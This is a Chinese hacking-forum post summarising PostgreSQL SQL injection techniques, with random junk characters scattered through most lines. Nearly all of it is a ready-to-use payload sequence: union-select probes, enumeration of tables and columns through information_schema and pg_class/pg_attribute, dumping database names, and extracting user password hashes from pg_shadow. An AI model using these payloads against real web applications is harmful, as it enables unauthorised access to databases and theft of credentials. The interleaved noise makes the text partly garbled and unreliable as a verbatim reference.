找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2161|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点
* F, d: P( I1 q4 D7 a- O( A- s

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/% N) z2 ^- w6 [! C+ B( T; I
连接符: %20 , + , /**/

内置函数:  U$ e  n; [/ G8 \% p) ]/ [
current_database() //当前数据库名
( @  X+ I2 G5 l" Q) M8 D5 Z5 I& wsession_user //会话用户
- {1 Z! q, I. ^. U& a6 J% c. Ucurrent_user //当前数据库用户8 B+ K1 E- t  x% k! R! ^
user //当前用户
) C: I& Y- \1 I. {3 F1 f; yversion() //数据库版本

Union注射:3 H: a* l  I/ o
order by n–. ^3 [0 [/ \: U
and 1=2 union select null,null,null–
/ ?" N" s. w3 K# D8 o6 Y) land 1=2 union select ‘beach’,null,null–
1 {( J4 {: B* L" D& ]and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):) \: c- c0 F, h* v9 l
group_concat(table_name)
/ O3 j) X0 G. m' nand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–: c5 a( O6 @6 i, E
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–4 M8 f# B  V' |
(老版本)
2 }, B5 {, q  e" Spg_class.oid对应pg_attribute.attrelid4 C9 M* Z- b) x2 B3 U2 z0 B
pg_class.relname表名
9 x+ T; v! O3 S7 K/ @, @" g# ?2 Wpg_attribute.attname字段名

select relname from pg_class获取表名' y' H- V, L% i# M- |. |3 h
select oid from pg_class where 条件 获取参数; L& M  ^, H* O- r5 n
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:2 i7 u. Q# l$ i6 r/ S
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表3 ^9 t- f2 Z; G( s' Y; g9 q
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
+ l! m1 W8 u6 `4 |: u- [- Z由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
- a) D; B" a) r; S% g2 u6 g; r/ i======================================================================
( a6 C% A5 Q2 x! m5 y. kand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库, q* X% G+ M' _4 X6 ~/ d2 l
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表